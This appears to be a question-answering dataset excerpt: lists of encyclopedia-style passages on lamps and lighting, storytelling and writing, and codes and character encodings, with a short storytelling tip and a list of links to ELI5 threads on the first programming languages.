[ "be incandescent bulbs so that they can activate instantly; energy saving is less important since they will not be on all the time. PIR sensor activation can increase both the deterrent effect (since the intruder knows that he has been detected) and the detection effect (since a person will be attracted to the sudden increase in light). Some PIR units can be set up to sound a chime as well as turn on the light. Most modern units have a photocell so that they only turn on when it is dark. Limitations An important limitation to the usefulness of security", "bulbs was banned on 1 September 2016 and non-directional halogen bulbs followed on 1 September 2018. Australia will ban halogen light bulbs from September 2020. Halogen cycle In ordinary incandescent lamps, evaporated tungsten mostly deposits onto the inner surface of the bulb, causing the bulb to blacken and the filament to grow increasingly weak until it eventually breaks. The presence of the halogen, however, sets up a reversible chemical reaction cycle with this evaporated tungsten. The halogen cycle keeps the bulb clean and causes the light output to remain almost constant throughout the bulb's life. At moderate temperatures the halogen", "halogen incandescent bulbs are much less efficient than LED and compact fluorescent lamps, and have been banned in many jurisdictions because of this. History A carbon filament lamp using chlorine to prevent darkening of the envelope was patented in 1882, and chlorine-filled \"NoVak\" lamps were marketed in 1892. The use of iodine was proposed in a 1933 patent, which also described the cyclic redeposition of tungsten back onto the filament. In 1959, General Electric patented a practical lamp using iodine. Phase-out In 2009, the EU began its phase-out of inefficient bulbs. The production and importation of directional mains-voltage halogen", "Incandescent light bulb An incandescent light bulb, incandescent lamp or incandescent light globe is an electric light with a wire filament heated to such a high temperature that it glows with visible light (incandescence). The filament is protected from oxidation with a glass or fused quartz bulb that is filled with inert gas or a vacuum. In a halogen lamp, filament evaporation is slowed by a chemical process that redeposits metal onto the filament, thereby extending its life.\nThe light bulb is supplied with electric current by terminals or wires embedded in the glass. Most bulbs are used in a socket", "the presence of significant UVA and UVC radiation, which the study's authors conjectured was attributable to damage in the bulbs' internal phosphor coatings. No cellular damage was observed following exposure to incandescent light of equivalent intensity. The study's authors suggest that the ultraviolet exposure could be limited by the use of \"double-walled\" bulbs manufactured with an additional glass covering surrounding the phosphor-coated layer.\nWhen the base of the bulb is not made to be flame-retardant, as required in the voluntary standard for CFLs, overheating of the electrical components in the bulb may create a fire hazard. Mercury content CFLs, like", "as the emitter, \"sits\" dormant waiting to sense the emitted pulses. When no hands are present in front of the device, no reflection of light takes place, and therefore, no pulse is sensed. When hands are present in the path of the emitted light, a portions of the emitted infrared light is bounced back in the direction of the collector which then becomes excited by the light (in the event a photodiode is used) and generates voltage to switch the pump on. If a photo transistor is utilized, then the photo transistor, upon sensing the infrared pulse, will simply switch", "artificial light bulbs may also produce these harmful rays.\nVarious types of filters have been developed to combat UV interaction with artifacts on display, and many of them can be used in conjunction with each other to reach the optimal setting for a particular collection. Among the first employed were heavy drapes; a simple solution to apply only if an institution can provide employees to open and close the drapes at the appropriate times based on viewer access. Many filtration devices rely on materials that absorb the UV, such as acrylic films or painted wash walls, but in doing", "tungsten that had condensed on the interior of the envelope, removing the blackening and brightening the lamp again. Halogen lamps The halogen lamp reduces uneven evaporation of the filament and eliminates darkening of the envelope by filling the lamp with a halogen gas at low pressure, rather than an inert gas. The halogen cycle increases the lifetime of the bulb and prevents its darkening by redepositing tungsten from the inside of the bulb back onto the filament. The halogen lamp can operate its filament at a higher temperature than a standard gas filled lamp of similar power without loss of", "can radiate sufficient radio frequency interference (RFI) to interfere with cordless telephones and Wi-Fi devices several feet or some meters away.\nIf an electrical conductor touches the outside of the globe, capacitive coupling can induce enough potential on it to produce a small arc. This is possible because the globe's glass acts as a capacitor dielectric: the inside of the lamp acts as one plate, and the conductive object on the outside acts as the opposite capacitor plate. This is a dangerous action which can damage the globe or other electronic devices, and presents a fire ignition hazard.", "Halogen lamp A halogen lamp, also known as a tungsten halogen, quartz-halogen or quartz iodine lamp, is an incandescent lamp consisting of a tungsten filament sealed into a compact transparent envelope that is filled with a mixture of an inert gas and a small amount of a halogen such as iodine or bromine. The combination of the halogen gas and the tungsten filament produces a halogen cycle chemical reaction which redeposits evaporated tungsten to the filament, increasing its life and maintaining the clarity of the envelope. For this to happen, a halogen lamp must be operated at a higher envelope", "as seeing a \"halo\" around each point of light.\nIn some instances, people have confused digitalis with the relatively harmless comfrey (Symphytum) plant, which is often brewed into a tea, with fatal consequences. Other fatal accidents involve children drinking the water in a vase containing digitalis plants. Drying does not reduce the toxicity of the plant. The plant is toxic to animals, including all classes of livestock and poultry, as well as felines and canines.\nDigitalis poisoning can cause heart block and either bradycardia (decreased heart rate) or tachycardia (increased heart rate), depending on the dose and the condition of one's heart.", "lamps that are much smaller than non-halogen incandescent lightbulbs at the same wattage. The gas reduces the thinning of the filament and blackening of the inside of the bulb resulting in a bulb that has a much greater life. Halogen lamps glow at a higher temperature (2800 to 3400 kelvins) with a whiter color than other incandescent bulbs. However, this requires bulbs to be manufactured from fused quartz rather than silica glass to reduce breakage. Drug components In drug discovery, the incorporation of halogen atoms into a lead drug candidate results in analogues that are usually more lipophilic and less", "the tungsten becoming deposited on the glass. A 300 watt tubular halogen bulb operated at full power quickly reaches a temperature of about 540 °C (1,004 °F), while a 500 watt regular incandescent bulb operates at only 180 °C (356 °F) and a 75 watt regular incandescent at only 130 °C (266 °F).\nThe bulb must be made of fused silica (quartz) or a high-melting-point glass (such as aluminosilicate glass). Since quartz is very strong, the gas pressure can be higher, which reduces the rate of evaporation of the filament, permitting it to run a higher temperature (and so luminous efficacy) for the same average life.", "UV light, which has smaller penetration depth and causes more tissue damage ciompared with IR light. UCNPs can be used to locally trigger UV-activated compounds when irradiated with benign IR irradiation. For instance, UCNPs can absorb IR light and emit visible light to trigger a photosensitizer, which can produce highly reactive singlet oxygen to destroy tumor cells. This non-toxic and effective approach has been demonstrated both in vitro and in vivo. Similarly, UCNPs can be used in photothermal therapy, which destroys targets by heat. In UCNP-plasmonic nanoparticle composites (e.g. NaYF₄:Yb Er@Fe₃O₄@Au₁₇), the UCNPs target tumor cells and the plasmonic nanoparticles", "lamp prevent the emission of the UV photons because ordinary glass blocks UV radiation at the 253.7 nm and shorter wavelengths.\nIn the internal core form (see diagram), a glass tube (B) protrudes bulb-wards from the bottom of the discharge vessel (A), forming a re-entrant cavity. This tube contains an antenna called a power coupler, which consists of a coil wound over a cylindrical ferrite core. The coil and ferrite form the inductor that couples the energy into the lamp interior\nThe antenna coils receive electric power from the electronic ballast (C) that generates a high frequency. The exact frequency varies with", "not contain sufficient energy to eject further electrons where they land, they will instead neutralize any positive charge that has been built-up in that region. Since darker images produce less positive charge on the target, the excess electrons deposited by the splash will be read as a dark region by the scanning electron beam.\nThis effect was actually cultivated by tube manufacturers to a certain extent, as a small, carefully controlled amount of the dark halo has the effect of crispening the visual image due to the contrast effect. (That is, giving the illusion of being more sharply focused than it", "can be mixed into the quartz, so that the doped quartz (or selective optical coating) blocks harmful UV radiation. Hard glass blocks UV and has been used extensively for the bulbs of car headlights. Alternatively, the halogen lamp can be mounted inside an outer bulb, similar to an ordinary incandescent lamp, which also reduces the risks from the high bulb temperature. Undoped quartz halogen lamps are used in some scientific, medical and dental instruments as a UV-B source. Form factors Halogen lamps are available in a series of different shapes and sizes, and are designated according to a coding system", "same time stopping the wavelengths that cannot be used by the diode. This is achieved by etching features of nanoscale like ridges and holes on a photonic crystal so that the light passing through the crystal can be modified. Operation A slab of tungsten is used as a thermal emitter with billions of nanoscale pits on the surface, with each pit acting like a resonator. On heating, specific wavelengths are radiated by the slab as it generates an altered emission spectrum. Applications Sun-free photovoltaics can be applied in electronic devices like smartphones. Its value of current density has the capability", "the electrochromic layer decreases, thus activating (N)IR-active tungsten oxide. This activation causes reflection of infrared light, thus lowering the greenhouse effect, which in turn reduces the amount of energy needed for air conditioning. Depending on the electrochromic material used, different parts of the spectrum can be blocked, this way UV, VIS and IR can be independently reflected at the will of a customer. Applications Several electrochromic devices have been developed. Electrochromism is commonly used in the production of electrochromic windows or \"smart glass\", and more recently electrochromic displays on paper substrate as anti-counterfeiting systems integrated into packaging. NiO materials have", "shiny metal, halogen bulbs, the filament in unfrosted incandescent bulbs, and similarly intense sources. Determining whether the glasses effectively block enough UV and infrared light requires the use of spectrophotometer, which is a rather expensive piece of lab equipment.\nThe eye's retina lacks pain receptors, and thus damage can occur without one's awareness.\nThe American Astronomical Society (AAS) said products meeting the ISO 12312-2 standard avoid risk to one's eyes, and issued a list of reputable vendors of eclipse glasses. The organization warned against products claiming ISO certification or even citing the same number, but not tested by an accredited laboratory. Another", "not too intense a light. It normally spreads and multiplys by vegetative (stolon/rhizome) growth. It can suffer from crypt melt and seems to dislike being moved about.", "to infrared light. Hence when light from an ordinary lightbulb is passed through a body of this solution, lots of infrared and only infrared emerges out at the other side. This infrared light can be brought to a focus with a concave mirror (or an optical lens made from rock-salt, but not a lens made from glass because glass is a poor transmitter of infrared). At the point of focus, with a good focusing tool, the infrared beam is strong enough to set paper on fire. If a little piece of non-combustible solid material is placed at the focus, it", "and a new filament will reform between the electrode and the hand. (See also Jacob's Ladder, which exhibits a similar behavior.)\nAn electric current is produced within any conductive object near the orb. The glass acts as a dielectric in a capacitor formed between the ionized gas and the hand.\nThe globe is prepared by pumping out as much air as is practical. The globe is then back-filled with neon to a pressure similar to one atmosphere. If the radio-frequency power is turned on, if the globe is \"struck\" or \"lit\", now, the whole globe will glow a diffuse red. If a", "light and ultraviolet radiation is cumulative and irreversible, collections storage spaces tend to have few ambient light sources, such as windows, and often have lighting installed in multiple zones controlled by different switches, so that all of the lights do not have to be turned on when only a small area of the storage space is actively being used. LED or UV-filtered fluorescent bulbs are generally recommended, as they save energy compared to incandescent bulbs, while quartz and halogen bulbs emit high levels of UV and infrared radiation as well as a significant amount of heat, which can cause increased", "Triphosphorus pentanitride Applications Triphosphorus pentanitride currently has no large scale applications although it had found use as a gettering material for incandescent lamps; replacing various mixtures containing red phosphorus in the late 1960s. The lighting filaments are dipped into a suspension of P₃N₅ prior to being sealed into the bulb. After bulb closure, but whilst still on the pump, the lamps are lit, causing the P₃N₅ to thermally decompose into its constituent elements. Much of this is removed by the pump but enough P₄ vapor remains to react with any residual oxygen inside the bulb. Once the vapor pressure of", "from another effect: The VUV light utilized by APPI does not penetrate deep into the ion source geometry, because the solvents used by LC, which are present as vapor in the ion source, strongly absorb the VUV light. For the UV light of APLI the LC solvents are virtually transparent, thus APLI allows the generation of ions in the entire ion source volume. Independence of ion formation from electrical fields In contrast to other ionization methods such as electrospray ionization (ESI) and atmospheric-pressure chemical ionization (APCI), APLI allows the generation of ions independent from electrical fields, because the zone of", "the focus of a parabolic reflector to direct all the light in one direction.\nIt would be impossible to excite the sulfur using traditional electrodes since the sulfur would quickly react with and destroy any metallic electrode. A patent pending to employ coated electrodes is discussed in Future prospects below. The absence of electrodes allows for a much greater variety of light-generating substances to be used than those used in traditional lamps.\nThe design life of the bulb is approximately 60,000 hours. The design life of the magnetron has been improved by the Germany/England based Plasma International so it can", "a photocurrent; this is avoided by encapsulating devices in opaque housings. If these housings are not completely opaque to high-energy radiation (ultraviolet, X-rays, gamma rays), diodes, transistors and ICs can malfunction due to induced photo-currents. Background radiation from the packaging is also significant. Radiation hardening mitigates these effects.\nIn some cases, the effect is actually wanted, for example to use LEDs as light-sensitive devices (see LED as light sensor) or even for energy harvesting, then sometimes called light-emitting and -absorbing diodes (LEADs). Applications P–n photodiodes are used in similar applications to other photodetectors, such as photoconductors, charge-coupled devices, and photomultiplier tubes.", "This property makes them unsuitable for sensing rapidly flashing lights, but is sometimes used to smooth the response of audio signal compression. Applications Photoresistors come in many types. Inexpensive cadmium sulfide cells can be found in many consumer items such as camera light meters, clock radios, alarm devices (as the detector for a light beam), nightlights, outdoor clocks, solar street lamps and solar road studs, etc.\nPhotoresistors can be placed in streetlights to control when the light is on. Ambient light falling on the photoresistor causes the streetlight to turn off. Thus energy is saved by ensuring the light is only", "disinfection Ultraviolet lamps are used to sterilize workspaces and tools used in biology laboratories and medical facilities. Commercially available low-pressure mercury-vapor lamps emit about 86% of their radiation at 254 nanometers (nm), with 265 nm being the peak germicidal effectiveness curve. UV at these germicidal wavelengths damage a microorganism's DNA so that it cannot reproduce, making it harmless, (even though the organism may not be killed). Since microorganisms can be shielded from ultraviolet rays in small cracks and other shaded areas, these lamps are used only as a supplement to other sterilization techniques.\nUV-C LEDs are relatively new to the commercial market" ]

[ "Magic, when spun, has its secret in the way it performed and not in the object. Similarly, the art of story-telling is using your deft skills to cast a charm on the listener/ reader leaving that person spellbound. \nNote, the story doesn't always matter. It's all in the way you spin it that can make people sit up and notice you. \n\nAnd how do you learn that skill? By observation.\nObserve people. Observe how they react to situations. What makes them happy, what leaves them disinterested. Slowly, craft that knowledge into the way you tell your stories. \n\nSecond, indulge your passion in the story,feel it with every breath you speak. Note, do not mistake this with narcissism where people go on about themselves. Bring out the interesting details, 'indulge' the listener/ reader. \n\nLastly, most of the advices on writing/ reading are only there to give you a head start. Explore, try out new ways to tell stories and enjoy what you do. \nHope this helps. Have fun :)" ]

[ "the tone and guides reader into the article.\nIn a news story, the introductory paragraph includes the most important facts and answers the questions: who, what, where, when, why and how. In a featured story, the author may choose to open in any number of ways, often using a narrative hook, possibly one of the following:\nan anecdote, a shocking or startling statement, a generalization, pure information, a description, a quote, a question or a comparison. Conclusion The conclusion will sum up the article, possibly including a final quote, a descriptive scene, a play on the title or lead, a summary statement,", "like telling jokes to a wall. Fictionaut provides a round-the-clock, faithfully attentive audience. It's a post post graduate-level workshop.\" In an interview with Meg Pokrass at Fictionaut Five, he said: \"A story must have three ingredients, like, oral surgery, Puccini’s Turandot, and divorce. Or hurricane science, a niece, and physics. If I have three large thoughts, intuitions or detections about three varied things, I’ll launch a story.\" Later in the interview, he said, \"Before you can be a writer you must make it new and the only way to do that is to run a harrowing, fearless, ruthless self audit.", "topic and then narrowing it to a length that can be covered in the space allowed. Oral storytelling is an effective way to search for a good topic for a personal narrative. Writers can quickly tell a story and judge from the listeners' reactions whether it will be an interesting topic to write about.\nAnother way to find a topic is to freewrite, a method first popularized by Peter Elbow. When freewriting, you write any and every idea that comes to mind. This could also be a written exploration of your current knowledge of a broad topic, with the idea that", "or the writer's opinion. Make the conclusion attention-grabbing. Characteristics of well-written news articles The article is usually on a well-defined topic or topics that are related in some way, such as a factual account of a newsworthy event.\nThe writer of a well-written article is seen as objective and showing all sides to an issue.\nThe sources for a news story should be identified and reliable.\nThe technique of show, don't tell is applied.", "short incidents from the private life of the Byzantine court. Gradually, the term anecdote came to be applied to any short tale utilized to emphasize or illustrate whatever point the author wished to make. Apologue An apologue or apolog (from the Greek ἀπόλογος, a \"statement\" or \"account\") is a brief fable or allegorical story with pointed or exaggerated details, meant to serve as a pleasant vehicle for a moral doctrine or to convey a useful lesson without stating it explicitly. It is like a parable, except that it contains supernatural elements like a fable, often the personification of animals", "stories in the week's news, awarding them one point for each correct answer. The questions are phrased similarly to those featured on The Match Game or Hollywood Squares to allow the panelists to offer a comedic answer in addition to their real guess as well as a hint from the host if needed. The answer is often followed by a discussion of the story. Bluff the Listener Each panelist reads an unusual story, all sharing a common theme. Only one of the three stories is genuine; the contestant wins the prize by choosing it. A sound bite from", "Group Fiction, have outlined their writing process in detail and with examples of key documents in their e-book How to Write Fiction as a Group. Generally, the group meets on a Sunday to develop the plot of the book. This involves breaking the existing story into short scenes of around two to four pages. The group collaboratively decides what will happen in each scene: the action, setting the point of view, impacts on the emotion and knowledge of the participating character and the tone. Each writer then takes a single scene away and writes it as a draft. Scenes must", "his analytical eye to the words of others, always looking out for an interesting, meaningful, or unique phrase.\nIn his search for quotes, he would read eight daily newspapers, seven weekly magazines, and a dozen monthlies. In any given day, he would usually find about eight or ten quotes of interest that he would choose to save.\nOn choosing the most notable quotations, he would highlight his favorite sayings and then let them sit for a week or two before taking another look. Upon a second examination, if he still felt they were worthy of posterity, he would then catalog the story", "a student story, he would simply say, \"I have a question about that, but not a big one.\" If he noticed a glaring inconsistency, MacLeod would say, \"Some words and phrases startle me.\" When a student asked how long a good short story should be, \"MacLeod clasped his hands and looked up toward the ceiling as if in prayer, then responded in a lyrical Cape Breton accent. 'Well then. Well then. Just make your story as long as a piece of string, and it will work out just fine.'\"\nMacLeod found that his university duties left little time for creative writing.", "written or completed orally, including close text, i.e. 'find the missing word'. Many books have comprehension questions at the end of the book giving page numbers where the answer can be found. The story books also come with workbooks, for the children to practice writing and comprehension in.", "the title story from her most recent book, All the Pretty Girls (Conundrum Press), a collection of short stories. All the Pretty Girls won the 2009 Lambda Award for Best Lesbian Fiction. Quotes Chandra Mayor on writing:\n\"Telling the truth is harder than telling lies. Which makes writing hard work. But it's also what makes it resonate, makes it mean something to the person who reads it. Writing is exhibitionism. Writing is dragging something out of you, kicking and screaming. Writing is also craft, which is only achieved through pure drudgery. At the end of it all, someone says, 'you spoke", "he wrote the story to get back at English teachers. Additionally he says, that the story is really about himself. Not being able to answer most of the questions he's posed on his works, he realizes he would probably flunk a test on himself.", "a person connected to the genuine story is played to reveal whether the contestant's guess is correct. Regardless of the outcome, the panelist whose story is chosen scores one point. Listener Limerick Challenge Kurtis reads three limericks connected to unusual news stories, leaving out the last word of each. The contestant wins the prize by correctly completing any two of them. The limericks are written by Philipp Goedicke; after the contestant answers each one, Sagal provides a humorous summary of the relevant story. Lightning Fill-in-the-Blank In the final round, each panelist is given a series of eight fill-in-the-blank questions about", "a particular (or main) part of the article. The writer can also give facts and detailed information following answers to general questions like who, what, when, where, why and how.\nQuoted references can also be helpful. References to people can also be made through the written accounts of interviews and debates confirming the factuality of the writer’s information and the reliability of his source. The writer can use redirection to ensure that the reader keeps reading the article and to draw her attention to other articles. For example, phrases like \"Continued on page 3” redirect the reader to a page where", "although humorous examples and jokes also can help in explaining a topic. There is suggested to be two sources per paragraph supporting your points. There may be more or less depending on the specific needs of the paragraph. Award-winning oration often include both facts and humor.\n3. Conclusion: If one did not make a good impression on the audience before, chances are slim that one will not recover with a smashing conclusion. Reiterate, go over the main points of the speech and make it memorable for the audience. An example of speech construction While having a factual baseline is", "A School Story Plot summary Two men are discussing the folklore of the private schools they attended. One tells of a Latin teacher named Mr. Sampson who kept a Byzantine coin that he would show his students. The narrator's friend gives the teacher a strange message in Latin which translates to \"remember the well among the four yews\", though he doesn't know why he wrote it. Later another paper shows up translating to \"If you don't come to me, I'll come to you\", and it visibly worries Sampson. Later at night the narrator's friend sees a man sitting on Sampson's", "material. Written by Michael O'Donoghue, it was titled \"How to Write Good\", with a real quote at the beginning from Eliot Foster, Director of Admissions, Famous Writers School.\nA novel by Steven Carter entitled Famous Writers School was published in 2006. It dealt with a man who runs a correspondence course and consists of lessons he mails to his students and the writing samples they send back.", "Things You Can Tell Just by Looking at Her Plot Things You Can Tell Just by Looking at Her consists of five stories or vignettes, tied together loosely to envision the complexity of incomplete communications about life, family, and love. We glimpse the lives of five women, each facing problems such as loneliness, dissatisfaction, longing, and or desire. Rodrigo García, in his first time directing, assembled this film with a loaded cast of actresses who can tell you everything you need to know just by their body language and facial expressions. Their individual stories show us what \"things you can", "uses a few condensed phrases which take the reader to the heart of the story.", "stories – the oldest stories in the book ... You know, 'Vincent Vega and Marsellus Wallace's Wife' – the oldest story about ... the guy's gotta go out with the big man's wife and don't touch her. You know, you've seen the story a zillion times.\" \"I'm using old forms of storytelling and then purposely having them run awry\", he says. \"Part of the trick is to take these movie characters, these genre characters and these genre situations and actually apply them to some of real life's rules and see how they unravel.\" In at least one case, boxer Butch Coolidge, Tarantino had in", "The Basketball Diaries and Kurt Vonnegut, Jr. in Timequake (in this case, the first-person narrator is also the author). In some cases, the narrator is writing a book—\"the book in your hands\"—and therefore he has most of the powers and knowledge of the author. Examples include The Name of the Rose by Umberto Eco, and The Curious Incident of the Dog in the Night-Time by Mark Haddon. Another example is a fictional \"Autobiography of James T. Kirk\" which was \"Edited\" by David A. Goodman who was the actual writer of that book and playing the part of James Kirk", "to narrow a topic. Or, they might discuss events, ideas, and interpretations with just one other person. Oral storytelling might enter again, as the writer turns it into a narrative, or just tries out ways of using the new terminology. Sometimes writers draw or use information as basis for artwork as a way to understand the material better. Narrowing the topic Narrowing a topic is an important step of prewriting. For example, a personal narrative of five pages could be narrowed to an incident that occurred in a thirty-minute time period. This restricted time period means the writer must slow", "incomprehensible to the average person. To him, a story has failed when it requires a critic to mediate between the reader and author. Rather, a story should be approached as something done for leisure or pleasure—not as a school chore. In an interview with the San Francisco Chronicle, Boyle states, \"My ambition is to make great art that is appealing to anyone who knows how to read.\" Greasy Lake The \"Greasy Lake\" characters, Digby, whose parents paid his tuition to Cornell; Jeff, who had a dangerous personality; and the \"wanna-be bad\" narrator relish their \"Bad Boy\" image. T. C.", "in such a light that it strikes in a flash of insight to the very essence. Novalis observed, \"An anecdote is a historical element — a historical molecule or epigram.\" A brief monologue beginning \"A man pops in a bar ...\" will be a joke. A brief monologue beginning \"Once J. Edgar Hoover popped in a bar ...\" will be an anecdote. An anecdote thus is closer to the tradition of the parable than the patently invented fable with its animal characters and generic human figures — but it is distinct from the parable in the historical specificity which it", "to write it at all.\"\nThis story is narrated in Third-person through the viewpoint of Parker. A strictly objective third person narration would not be conducive to having an intimate tie with Parker. By looking through the lens of Parker's experience, the reader is able to empathize with Parker; the reader can see the extent to which Parker is struggling. The viewpoint of this story helps to create a very strong protagonist in Parker.\nThe story also uses irony as an effective element. In \"Parker's Back,\" O'Connor presents one ironic situation after another. The situational irony is effective at catching the reader", "An Everyday Story Synopsis A novelist completes what he considers to be his masterpiece, but the publisher tells him instead to write an everyday story.", "made a personal choice that included stories from well-known authors and also from young and relatively unknown writers.", "you are looking for a narrow topic to write about. Often freewriting is timed. The writer is instructed to keep writing until the time period ends, which encourages him/her to keep writing past the pre-conceived ideas and hopefully find a more interesting topic.\nSeveral other methods of choosing a topic overlap with another broad concern of prewriting, that of researching or gathering information. Reading is effective in both choosing and narrowing a topic and in gathering information to include in the writing. As a writer reads other works, it expands ideas, opens possibilities and points toward options for topics and narrates", "making of a narrative to relay information to the audience and, particularly, to \"develop\" the narrative, usually in order to make it more complete, complicated, or interesting. See List of narrative techniques.", "piece of literature that explains what happens. In a plot summary, the author and title of the book should be referred to. Also, it is no more than a paragraph long while summarizing the main points of the story." ]

[ "Yer not alone in askin', and kind strangers have explained:\n\n1. [ELI5: how are computer programming languages (Java, Python, C/C) actually developed? ](_URL_7_)\n1. [ELI5: How was the first computer program made if there was no program to make it in? ](_URL_2_)\n1. [ELI5: How did the first computer get programmed? ](_URL_3_)\n1. [ELI5: How was the first programming language made before any language existed? ](_URL_5_)\n1. [ELI5: How did they program the first computer? ](_URL_4_)\n1. [ELI5: How did the first computer coding get \"written\" if there wasn't a \"language\" to write it in beforehand? ](_URL_6_)\n1. [ELI5: How did the first computer code know what to do? ](_URL_1_)\n1. [ELI5: How does a coding language get 'coded' in the first place? ](_URL_0_)" ]

[ "Code (cryptography) One- and two-part codes Codes are defined by \"codebooks\" (physical or notional), which are dictionaries of codegroups listed with their corresponding plaintext. Codes originally had the codegroups assigned in 'plaintext order' for convenience of the code designed, or the encoder. For example, in a code using numeric code groups, a plaintext word starting with \"a\" would have a low-value group, while one starting with \"z\" would have a high-value group. The same codebook could be used to \"encode\" a plaintext message into a coded message or \"codetext\", and \"decode\" a codetext back into plaintext message.\nIn order to make", "comprise the sequential steps in AIDC-\n1 Data encoder . A code is a set of symbols or signals that usually represent alphanumeric characters. When data are encoded, the characters are translated into a machine readable code. A label or tag containing the encoded data is attached to the item that is to be identified.\n2 Machine reader or scanner. This device reads the encoded data, converting them to alternative form, usually an electrical analog signal.\n3 Data decoder. This component transforms the electrical signal into digital data and finally back into the original alphanumeric characters. The Internet and the future The", "Codec A codec is a device or computer program for encoding or decoding a digital data stream or signal. Codec is a portmanteau of coder-decoder.\nA coder encodes a data stream or a signal for transmission or storage, possibly in encrypted form, and the decoder function reverses the encoding for playback or editing. Codecs are used in videoconferencing, streaming media, and video editing applications. History In the mid-20th century, a codec was a device that coded analog signals into digital form using pulse-code modulation (PCM). Later, the name was also applied to software for converting between digital signal formats, including", "codes has been created (referred to as ZIP codes in the United States, postcodes in the United Kingdom and Australia, and postal codes in most other countries), in order to facilitate the automation of operations. This also includes placing additional marks on the address portion of the letter or mailed object, called \"bar coding.\" Bar coding of mail for delivery is usually expressed either by a series of vertical bars, usually called POSTNET coding or a block of dots as a two-dimensional barcode. The \"block of dots\" method allows for the encoding of proof of payment of postage, exact routing", "Coded set In telecommunication, a coded set is a set of elements onto which another set of elements has been mapped according to a code.\nExamples of coded sets include the list of names of airports that is mapped onto a set of corresponding three-letter representations of airport names, the list of classes of emission that is mapped onto a set of corresponding standard symbols, and the names of the months of the year mapped onto a set of two-digit decimal numbers.\n This article incorporates public domain material from the General Services Administration document \"Federal Standard 1037C\".", "Six-bit character code A six-bit character code is a character encoding designed for use on computers with word lengths a multiple of 6. Six bits can only encode 64 distinct characters, so these codes generally include only the upper-case letters, the numerals, some punctuation characters, and sometimes control characters. Such codes with additional parity bit were a natural way of storing data on 7-track magnetic tape. Types of six-bit codes An early six-bit binary code was used for Braille, the reading system for the blind that was developed in the 1820s.\nThe earliest computers dealt with numeric data only, and made", "code is a coding scheme that repeats the bits across a channel to achieve error-free communication. Given a stream of data to be transmitted, the data are divided into blocks of bits. Each block is transmitted some predetermined number of times. For example, to send the bit pattern \"1011\", the four-bit block can be repeated three times, thus producing \"1011 1011 1011\". If this twelve-bit pattern was received as \"1010 1011 1011\" – where the first block is unlike the other two – an error has occurred.\nA repetition code is very inefficient, and can be susceptible to problems if the", "Code page In computing, a code page is a character encoding and as such it is a specific association of a set of printable characters and control characters with unique numbers.\nThe term \"code page\" originated from IBM's EBCDIC-based mainframe systems, but Microsoft, SAP, and Oracle Corporation are among the few vendors which use this term. The majority of vendors identify their own character sets by a name. In the case when there is a plethora of character sets (like in IBM), identifying character sets through a number is a convenient way to distinguish them. Originally, the code page numbers referred", "In practice, a message might first be compressed with a prefix code, and then encoded again with channel coding (including error correction) before transmission.\nFor any uniquely decodable code there is a prefix code that has the same code word lengths. Kraft's inequality characterizes the sets of code word lengths that are possible in a uniquely decodable code. Techniques If every word in the code has the same length, the code is called a fixed-length code, or a block code (though the term block code is also used for fixed-size error-correcting codes in channel coding). For example, ISO 8859-15 letters are", "code (for the sequence with that character) is added to the dictionary.\nThe idea was quickly adapted to other situations. In an image based on a color table, for example, the natural character alphabet is the set of color table indexes, and in the 1980s, many images had small color tables (on the order of 16 colors). For such a reduced alphabet, the full 12-bit codes yielded poor compression unless the image was large, so the idea of a variable-width code was introduced: codes typically start one bit wider than the symbols being encoded, and as each code", "of codes and their fitness for a specific application. Codes are used for data compression, cryptography, error-correction and more recently also for network coding. Codes are studied by various scientific disciplines—such as information theory, electrical engineering, mathematics, and computer science—for the purpose of designing efficient and reliable data transmission methods. This typically involves the removal of redundancy and the correction (or detection) of errors in the transmitted data. Computational biology Computational biology involves the development and application of data-analytical and theoretical methods, mathematical modeling and computational simulation techniques to the study of biological, behavioral, and social systems. The field", "IBM, use the term microcode as a synonym for firmware. In that way, all code within a device is termed microcode regardless of it being microcode or machine code; for example, hard disk drives are said to have their microcode updated, though they typically contain both microcode and firmware. Justification Microcode was originally developed as a simpler method of developing the control logic for a computer. Initially, CPU instruction sets were hardwired. Each step needed to fetch, decode, and execute the machine instructions (including any operand address calculations, reads, and writes) was controlled directly by combinational logic and rather minimal", "An upper bound on the size of the set of messages can be determined by and .\nLocally decodable codes can also be concatenated, where a message is encoded first using one scheme, and the resulting codeword is encoded again using a different scheme. (Note that, in this context, concatenation is the term used by scholars to refer to what is usually called composition; see ). This might be useful if, for example, the first code has some desirable properties with respect to rate, but it has some undesirable property, such as producing a codeword over a non-binary alphabet.", "a code is fixed to compress the data. Arguably, the most general code one could use is a (Turing-complete) computer language. A program to output the data is written in that language; thus the program effectively represents the data. The length of the shortest program that outputs the data is called the Kolmogorov complexity of the data. This is the central idea of Ray Solomonoff's idealized theory of inductive inference, which has been a source of inspiration for MDL. MDL notation Central to MDL theory is the one-to-one correspondence between code length functions and probability distributions (this", "codes An original message and an encoded version are both composed in an alphabet of q letters. Each code word contains n letters. The original message (of length m) is shorter than n letters. The message is converted into an n-letter codeword by an encoding algorithm, transmitted over a noisy channel, and finally decoded by the receiver. The decoding process interprets a garbled codeword, referred to as simply a word, as the valid codeword \"nearest\" the n-letter received string.\nMathematically, there are exactly qᵐ possible messages of length m, and each message can be regarded as a vector of length m.", "we use two separate codes to represent information in our brains: image codes and verbal codes. Image codes are things like thinking of a picture of a dog when you are thinking of a dog, whereas a verbal code would be to think of the word \"dog\". Another example is the difference between thinking of abstract words such as justice or love and thinking of concrete words like elephant or chair. When abstract words are thought of, it is easier to think of them in terms of verbal codes—finding words that define them or describe them. With concrete words, it", "Online codes In computer science, online codes are an example of rateless erasure codes. These codes can encode a message into a number of symbols such that knowledge of any fraction of them allows one to recover the original message (with high probability). Rateless codes produce an arbitrarily large number of symbols which can be broadcast until the receivers have enough symbols.\nThe online encoding algorithm consists of several phases. First the message is split into n fixed size message blocks. Then the outer encoding is an erasure code which produces auxiliary blocks that are appended to the message blocks to", "(Rivest–Shamir–Adleman), and ECC (Elliptic Curve Cryptography). Symmetric models include the commonly used AES (Advanced Encryption Standard) which replaced the older DES (Data Encryption Standard).\nIn colloquial use, the term \"code\" is often used to mean any method of encryption or concealment of meaning. However, in cryptography, code has a more specific meaning. It means the replacement of a unit of plaintext (i.e., a meaningful word or phrase) with a code word (for example, \"wallaby\" replaces \"attack at dawn\").\nCryptanalysis is the term used for the study of methods for obtaining the meaning of encrypted information without access to the key normally required", "First and Second World Wars. The purpose of most of these codes was to save on cable costs. The use of data coding for data compression predates the computer era; an early example is the telegraph Morse code where more-frequently used characters have shorter representations. Techniques such as Huffman coding are now used by computer-based algorithms to compress large data files into a more compact form for storage or transmission. Character encodings Character encodings are representations of textual data. A given character encoding may be associated with a specific character set (the collection of characters 